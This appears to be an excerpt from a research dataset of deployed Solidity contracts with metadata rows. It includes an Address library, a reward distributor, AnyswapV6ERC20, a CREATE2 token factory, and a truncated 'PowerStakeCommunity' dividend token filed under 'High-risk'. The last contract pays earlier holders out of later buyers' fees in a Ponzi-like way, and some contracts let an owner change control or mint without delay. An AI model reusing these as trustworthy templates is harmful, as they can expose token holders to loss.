function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHMD;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohmd, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohmd != address(0));
OHMD = _ohmd;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHMD).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 100,937 | 223 |
f09a810ac67eaada4123c841142641a0b3e08f74057c363e8d96949d0489e723
| 14,945 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/cf/cf799767d366d789e8B446981C2D578E241fa25c_AnyswapV6ERC20.sol
| 3,332 | 13,137 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IComintToken {
function mint(address to, uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bool public underlyingIsMinted;
/// @dev Records amount of AnyswapV6ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// delay for timelock functions
uint public constant DELAY = 2 days;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV6ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == vault, "AnyswapV6ERC20: FORBIDDEN");
_;
}
function owner() external view returns (address) {
return vault;
}
function mpc() external view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
_init = false;
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV6ERC20: address(0)");
pendingVault = _vault;
delayVault = block.timestamp + DELAY;
}
function applyVault() external onlyVault {
require(pendingVault != address(0) && block.timestamp >= delayVault);
vault = pendingVault;
pendingVault = address(0);
delayVault = 0;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV6ERC20: address(0)");
pendingMinter = _auth;
delayMinter = block.timestamp + DELAY;
}
function applyMinter() external onlyVault {
require(pendingMinter != address(0) && block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
pendingMinter = address(0);
delayMinter = 0;
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV6ERC20: address(0)");
emit LogChangeVault(vault, newVault, block.timestamp);
vault = newVault;
pendingVault = address(0);
delayVault = 0;
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
require(underlying != address(0));
IComintToken(underlying).mint(to, amount);
_totalSupply += amount;
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(underlying != address(0));
IComintToken(underlying).burnFrom(from, amount);
_totalSupply -= amount;
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) external onlyAuth returns (bool) {
require(underlying != address(0));
IComintToken(underlying).mint(account, amount);
_totalSupply += amount;
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) external returns (bool) {
require(!_vaultOnly, "AnyswapV6ERC20: vaultOnly");
require(bindaddr != address(0), "AnyswapV6ERC20: address(0)");
require(underlying != address(0));
IComintToken(underlying).burnFrom(msg.sender, amount);
_totalSupply -= amount;
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0)) {
require(_decimals == IERC20(_underlying).decimals());
underlyingIsMinted = true;
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
}
/// @dev Returns the total supply of AnyswapV6ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
require(!underlyingIsMinted);
require(underlying != address(0) && underlying != address(this));
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
uint256 balance = balanceOf[account];
require(balance >= amount, "ERC20: burn amount exceeds balance");
balanceOf[account] = balance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV6ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Moves `value` AnyswapV6ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV6ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV6ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) && to != address(this));
if (from != msg.sender) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV6ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV6ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
}
| 24,825 | 224 |
76d8cb0e0dd2fa3f1be53585f2a9fe09614780af4f66b774d23a09784f75339d
| 29,442 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/63/63ae3cea2225be3390854e824a65bbbb02616bb4_CreateERC20Minter.sol
| 3,412 | 13,241 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Create2 {
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
// solhint-disable-next-line no-inline-assembly
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) {
bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash));
return address(uint256(_data));
}
}
contract CreateERC20Minter {
address public owner;
address public minter = address(0);
event Deployed(address addr, uint8 count);
modifier onlyOwner() {
require(owner == msg.sender, "onlyOwner: caller is not the owner");
_;
}
constructor() public {
owner = msg.sender;
}
function setupMinter(address _minter) public onlyOwner {
minter = _minter;
}
function deployERC20Minter(string memory name, string memory symbol, uint8 decimals, uint8 count) public onlyOwner {
require(minter != address(0), "ERROR: Zero address");
bytes32 salt = keccak256(abi.encodePacked(name, decimals, symbol, count));
address addr = Create2.deploy(0, salt, type(ERC20Minter).creationCode);
ERC20Minter(addr).initialize(name, symbol, decimals, minter);
emit Deployed(addr, count);
}
function computeAddress(string memory name, string memory symbol, uint8 decimals, uint8 count, bytes32 codeHash) public view returns (address) {
bytes32 salt = keccak256(abi.encodePacked(name, decimals, symbol, count));
return Create2.computeAddress(salt, codeHash, address(this));
}
receive() payable external {
revert("Denied.");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
function _initialize(string memory name, string memory symbol, uint8 decimals) internal {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract ERC20Minter is Context, ERC20 {
address public factory;
address public current_minter = address(0);
modifier onlyMinter() {
require(current_minter == _msgSender(), "onlyMinter: caller is not the minter");
_;
}
constructor() public {
factory = _msgSender();
}
// called once by the factory at time of deployment
function initialize(string memory name, string memory symbol, uint8 decimals, address minter) external {
require(_msgSender() == factory, 'NerveNetwork: FORBIDDEN'); // sufficient check
require(minter != address(0), "ERROR: Zero address");
_initialize(name, symbol, decimals);
current_minter = minter;
}
function mint(address to, uint256 amount) external onlyMinter {
_mint(to, amount);
}
function burn(uint256 amount) external onlyMinter {
_burn(_msgSender(), amount);
}
function replaceMinter(address newMinter) external onlyMinter {
current_minter = newMinter;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override(ERC20) {
super._transfer(sender, recipient, amount);
if (_msgSender() != current_minter && recipient == current_minter) {
_burn(recipient, amount);
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20) {
super._beforeTokenTransfer(from, to, amount);
}
}
| 318,437 | 225 |
86a1be4f00cb0d00e4506c3cdd468f0ce15b273f34020438a22f741ccb8b845b
| 28,235 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x59c857b02787a10abd584dc654a3f22ff9b1c83d.sol
| 3,758 | 14,590 |
pragma solidity ^0.4.20;
contract PowerStakeCommunity {
// only people with coins
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Power Stake Community";
string public symbol = "POWER";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 1 power coin)
uint256 public stakingRequirement = 1e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
function PowerStakeCommunity()
public
{
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get coin count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// retirement time
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// retirement time
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// Remember that Big Brother is always watching.. The Great Eye.. Always watching..
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold coins
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per coin
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested coins
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the coins that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee coins
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange coins
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
